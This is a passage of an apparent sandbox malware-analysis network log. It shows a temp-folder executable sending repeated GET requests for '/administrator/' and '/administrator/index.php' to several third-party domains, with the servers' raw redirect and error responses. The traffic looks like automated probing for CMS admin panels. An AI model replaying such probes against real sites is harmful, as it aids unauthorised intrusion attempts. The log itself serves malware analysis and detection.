Dec 20, 2023 03:13:20.278589010 CET	954	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://walshfam.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_I8i9jo/v1bGBfYs8FvPGV1aBUSadZpKsxYBHvxrZb8bpRso2bbwcU3bo44SD+1gCvFTJUjSLNNdC50MmuvZZCA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.204444885 CET	386	OUT	GET /administrator/index.php HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://walshfam.com/administrator/
Dec 20, 2023 03:13:22.362787008 CET	963	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://walshfam.com/administrator/index.php X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_FWMhO9Soh3iCGmqWCtJuvrO/VDBnEXLj2mt97H2QWrfoyOYLJvj84yBkETmClR8rUhG4W5nsu5bVR3I/JGS9rw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.565993071 CET	963	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://walshfam.com/administrator/index.php X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_FWMhO9Soh3iCGmqWCtJuvrO/VDBnEXLj2mt97H2QWrfoyOYLJvj84yBkETmClR8rUhG4W5nsu5bVR3I/JGS9rw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	51398	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.924997091 CET	182	OUT	GET /administrator/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.075272083 CET	958	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://filmboxstudios.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_U3sGMu+Wbix8bos6oTYzK0fzAMGQDkQdBY7+GChxO8gVhWNLGfKvGcADi0R8cVlyyB+yaJdX6zTYp0bTZ5XN0A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:20.281971931 CET	958	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://filmboxstudios.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_U3sGMu+Wbix8bos6oTYzK0fzAMGQDkQdBY7+GChxO8gVhWNLGfKvGcADi0R8cVlyyB+yaJdX6zTYp0bTZ5XN0A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.221803904 CET	396	OUT	GET /administrator/index.php HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://filmboxstudios.com/administrator/
Dec 20, 2023 03:13:22.375489950 CET	967	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://filmboxstudios.com/administrator/index.php X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Z3b+u0Mjy5sbrDHLSbjqlg3U0EdhLZ7/UBszxsdpPj5BrBqZuTTgJJS3lV9TNCrr6gOVaX4KhlNQ5gYZ+grnAw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	51258	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.946223021 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: smithstar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.186341047 CET	287	IN	HTTP/1.1 410 Gone Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 140 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:20.187932968 CET	232	OUT	GET /administrator/index.php HTTP/1.1 Host: smithstar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://smithstar.com/administrator/
Dec 20, 2023 03:13:20.430247068 CET	287	IN	HTTP/1.1 410 Gone Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 140 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	51271	217.19.254.237	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.951801062 CET	173	OUT	GET /administrator/ HTTP/1.1 Host: tgcan.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.842804909 CET	1286	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/" X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 41957 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 Data Ascii: <!DOCTYPE html><html class="avada-html-layout-wide avada-html-header-position-top" lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page not found – TG Can International</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.tgcan.co.uk' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//s.w.org' /><link rel="alternate" type="application/rss+xml" title="TG Can International » Feed" href="https://www.tgcan.co.uk/feed/" /><link rel="alternate" type="application/rss+xml" title="TG Can International » Comments Feed" href="https://www.tgcan.co.uk/comments/feed/" />
Dec 20, 2023 03:13:20.842902899 CET	1286	IN	Data Raw: 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a Data Ascii: <script type="text/javascript">window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/","svgExt":".svg","source":{"conca
Dec 20, 2023 03:13:20.843022108 CET	1286	IN	Data Raw: 32 31 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 29 3b 63 61 73 65 22 65 6d 6f 6a 69 22 3a 72 65 74 75 72 6e 21 73 28 5b 35 35 33 35 Data Ascii: 21,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.support
Dec 20, 2023 03:13:20.843400955 CET	1286	IN	Data Raw: 75 67 69 6e 73 2f 4c 61 79 65 72 53 6c 69 64 65 72 2f 73 74 61 74 69 63 2f 6c 61 79 65 72 73 6c 69 64 65 72 2f 63 73 73 2f 6c 61 79 65 72 73 6c 69 64 65 72 2e 63 73 73 3f 76 65 72 3d 36 2e 37 2e 36 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 Data Ascii: ugins/LayerSlider/static/layerslider/css/layerslider.css?ver=6.7.6' type='text/css' media='all' />...[if IE]><link rel='stylesheet' id='avada-IE-css' href='http://www.tgcan.co.uk/wp-content/themes/Avada/assets/css/dynamic/ie.min.css?ver=7.
Dec 20, 2023 03:13:20.843580961 CET	1286	IN	Data Raw: 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 4c 61 79 65 72 53 6c 69 64 65 72 2f 73 74 61 74 69 63 2f 6c 61 79 65 72 73 6c 69 64 65 72 2f 6a 73 2f 6c 61 79 65 72 73 6c 69 64 65 72 2e 6b 72 65 Data Ascii: w.tgcan.co.uk/wp-content/plugins/LayerSlider/static/layerslider/js/layerslider.kreaturamedia.jquery.js?ver=6.7.6' id='layerslider-js'></script><script type='text/javascript' src='http://www.tgcan.co.uk/wp-content/plugins/LayerSlider/static/la
Dec 20, 2023 03:13:20.843676090 CET	1286	IN	Data Raw: 75 73 69 6f 6e 2d 62 75 69 6c 64 65 72 2d 75 69 2d 77 69 72 65 66 72 61 6d 65 29 20 2e 73 6d 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 Data Ascii: usion-builder-ui-wireframe) .sm-text-align-right{text-align:right !important;}body:not(.fusion-builder-ui-wireframe) .sm-mx-auto{margin-left:auto !important;margin-right:auto !important;}body:not(.fusion-builder-ui-wireframe) .sm-ml-auto{margi
Dec 20, 2023 03:13:20.843890905 CET	1286	IN	Data Raw: 69 64 74 68 3a 20 31 30 32 35 70 78 29 7b 62 6f 64 79 3a 6e 6f 74 28 2e 66 75 73 69 6f 6e 2d 62 75 69 6c 64 65 72 2d 75 69 2d 77 69 72 65 66 72 61 6d 65 29 20 2e 66 75 73 69 6f 6e 2d 6e 6f 2d 6c 61 72 67 65 2d 76 69 73 69 62 69 6c 69 74 79 7b 64 Data Ascii: idth: 1025px){body:not(.fusion-builder-ui-wireframe) .fusion-no-large-visibility{display:none !important;}body:not(.fusion-builder-ui-wireframe) .lg-text-align-center{text-align:center !important;}body:not(.fusion-builder-ui-wireframe) .lg-tex
Dec 20, 2023 03:13:20.844217062 CET	1286	IN	Data Raw: 66 75 73 69 6f 6e 2d 73 74 69 63 6b 79 2d 68 65 61 64 65 72 20 6e 6f 2d 74 61 62 6c 65 74 2d 73 74 69 63 6b 79 2d 68 65 61 64 65 72 20 6e 6f 2d 6d 6f 62 69 6c 65 2d 73 74 69 63 6b 79 2d 68 65 61 64 65 72 20 6e 6f 2d 6d 6f 62 69 6c 65 2d 73 6c 69 Data Ascii: fusion-sticky-header no-tablet-sticky-header no-mobile-sticky-header no-mobile-slidingbar no-mobile-totop avada-has-rev-slider-styles fusion-disable-outline fusion-sub-menu-fade mobile-logo-pos-left layout-wide-mode avada-has-boxed-modal-shado
Dec 20, 2023 03:13:20.844347000 CET	1286	IN	Data Raw: 2d 73 74 69 63 6b 79 2d 6c 6f 67 6f 2d 20 66 75 73 69 6f 6e 2d 6d 6f 62 69 6c 65 2d 6c 6f 67 6f 2d 20 20 66 75 73 69 6f 6e 2d 6d 6f 62 69 6c 65 2d 6d 65 6e 75 2d 64 65 73 69 67 6e 2d 6d 6f 64 65 72 6e 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c Data Ascii: -sticky-logo- fusion-mobile-logo- fusion-mobile-menu-design-modern"><div class="fusion-header-sticky-height"></div><div class="fusion-header"><div class="fusion-row"><div class="fusion-logo" data-margin-top="10px" data-margin-b
Dec 20, 2023 03:13:20.844414949 CET	1286	IN	Data Raw: 6e 20 73 65 61 72 63 68 2d 62 75 74 74 6f 6e 22 3e 0a 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 66 75 73 69 6f 6e 2d 73 65 61 72 63 68 2d 73 75 62 6d 69 74 20 73 65 61 72 63 68 73 75 62 6d Data Ascii: n search-button"><input type="submit" class="fusion-search-submit searchsubmit" aria-label="Search" value="" /></div></div></form><div class="fusion-search-spacer"></div><a href="#" role="button" a
Dec 20, 2023 03:13:21.073393106 CET	1286	IN	Data Raw: 6c 69 67 68 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 43 4f 4e 54 41 43 54 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6e 61 76 3e 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 73 69 Data Ascii: light"><span class="menu-text">CONTACT</span></a></li></ul></nav><div class="fusion-mobile-menu-icons"><a href="#" class="fusion-icon fusion-icon-bars" aria-label="Toggle mobile menu" aria-expanded="false"></a></div><na
Dec 20, 2023 03:13:21.310748100 CET	224	OUT	GET /administrator/index.php HTTP/1.1 Host: tgcan.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://tgcan.com/administrator/
Dec 20, 2023 03:13:22.199351072 CET	368	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Location: http://tgcan.com/administrator/ Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 X-Redirect-By: WordPress X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Length: 0
Dec 20, 2023 03:13:22.199656963 CET	215	OUT	GET /administrator/ HTTP/1.1 Host: tgcan.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://tgcan.com/administrator/
